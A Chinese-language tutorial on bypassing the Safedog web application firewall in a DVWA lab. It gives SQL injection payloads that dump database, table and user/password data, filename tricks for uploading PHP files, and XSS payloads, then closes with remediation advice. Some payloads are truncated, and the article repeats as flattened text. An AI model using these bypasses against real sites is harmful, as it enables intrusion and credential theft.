技术研究 | 绕过WAF的常见Web漏洞利用分析
字数 1019 2025-08-15 21:32:33

绕过WAF的常见Web漏洞利用技术分析

前言

本文以最新版安全狗(WAF)为例,详细总结绕过WAF进行常见WEB漏洞利用的方法。测试环境为PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+安全狗4.0.28330,使用DVWA作为靶场。

免责声明:本文仅用于技术研究与讨论,严禁用于任何非法用途。

SQL注入绕过技术

判断注入存在

方法一:逻辑表达式替换

  • and 1=1被拦截,但&&可替代and
  • True/False替代1=1/1=2
  • 有效payload:
    1' && True --+
    1' && False --+
    

方法二:内联注释

  • MySQL中/*! */会被执行
  • 有效payload:
    1' and /*!1*/=/*!1*/ --+
    1' and /*!1*/=/*!2*/ --+
    

方法三:分块传输

  • 使用分块传输插件:https://github.com/c0ny1/chunked-coding-converter
  • 将请求改为POST并进行分块传输编码
  • 原始payload:
    1' and 1=1 --+
    

猜解字段数

方法一:干扰字符插入

  • order by之间插入无效字符
  • 有效payload:
    1' order/*%%!asd%%%%*/by 3 --+
    1' /*!order/by*/ 3 --+
    

方法二:分块传输

  • 直接使用分块传输:
    1' order by 3 --+
    

获取当前数据库

方法一:组合绕过

  • 绕过union select
    1' union/*%%!asd%%%%*/select 1,2 --+
    
  • 绕过database()
    database(/*%%!asd%%%%*/)
    
  • 完整payload:
    1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%
    

方法二:分块传输

1' union select 1,database() --+

获取数据库表

方法一:空格替换

  • /*%%!asd%%%%*/替换空格
  • 完整payload:
    1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%
    

方法二:分块传输

获取表字段

方法一:

1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name='users' --+

方法二:分块传输

获取数据

方法一:

1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+

方法二:分块传输

文件上传绕过技术

安全狗通过检测文件扩展名拦截上传,主要检测Content-DispositionContent-Type

绕过方法

  1. 分号结尾

    filename=hhh.php;
    
  2. 换行分隔

    • .php分开
  3. 等号混淆

    filename=="hhh.php"
    
  4. 分号插入

    filename="hh;h.php"
    
  5. 多filename

    filename="hhh.txt"
    filename="hhh.php"
    

XSS绕过技术

安全狗采用黑名单过滤XSS,可尝试以下标签:

  1. audio标签

    <audio src=1 onerror=alert(/xss/);>
    <audio src=1 onerror=prompt('xss');>
    
  2. object标签+base64编码

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
    

文件包含绕过

通过绝对路径、相对路径加混淆即可绕过。

修复建议

SQL注入防护

  1. 使用预编译SQL语句和绑定变量
  2. 严格校验输入数据格式和长度

文件上传防护

  1. 上传目录设置为不可执行
  2. 使用随机数改写文件名和路径
  3. 采用白名单限制文件后缀

XSS防护

  1. 对用户输入进行HTML转义或编码
  2. 实现全局Filter过滤器

总结

WAF并非绝对安全,开发者应从代码层面修复漏洞。本文展示的绕过技术旨在提高安全意识,不应被用于非法用途。

绕过WAF的常见Web漏洞利用技术分析 前言 本文以最新版安全狗(WAF)为例,详细总结绕过WAF进行常见WEB漏洞利用的方法。测试环境为PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+安全狗4.0.28330,使用DVWA作为靶场。 免责声明 :本文仅用于技术研究与讨论,严禁用于任何非法用途。 SQL注入绕过技术 判断注入存在 方法一:逻辑表达式替换 and 1=1 被拦截,但 && 可替代 and True / False 替代 1=1 / 1=2 有效payload: 方法二:内联注释 MySQL中 /*! */ 会被执行 有效payload: 方法三:分块传输 使用分块传输插件:https://github.com/c0ny1/chunked-coding-converter 将请求改为POST并进行分块传输编码 原始payload: 猜解字段数 方法一:干扰字符插入 在 order by 之间插入无效字符 有效payload: 方法二:分块传输 直接使用分块传输: 获取当前数据库 方法一:组合绕过 绕过 union select : 绕过 database() : 完整payload: 方法二:分块传输 获取数据库表 方法一:空格替换 用 /*%%!asd%%%%*/ 替换空格 完整payload: 方法二:分块传输 获取表字段 方法一: 方法二:分块传输 获取数据 方法一: 方法二:分块传输 文件上传绕过技术 安全狗通过检测文件扩展名拦截上传,主要检测 Content-Disposition 和 Content-Type 。 绕过方法 分号结尾 : 换行分隔 : 将 .php 分开 等号混淆 : 分号插入 : 多filename : XSS绕过技术 安全狗采用黑名单过滤XSS,可尝试以下标签: audio标签 : object标签+base64编码 : 文件包含绕过 通过绝对路径、相对路径加混淆即可绕过。 修复建议 SQL注入防护 使用预编译SQL语句和绑定变量 严格校验输入数据格式和长度 文件上传防护 上传目录设置为不可执行 使用随机数改写文件名和路径 采用白名单限制文件后缀 XSS防护 对用户输入进行HTML转义或编码 实现全局Filter过滤器 总结 WAF并非绝对安全,开发者应从代码层面修复漏洞。本文展示的绕过技术旨在提高安全意识,不应被用于非法用途。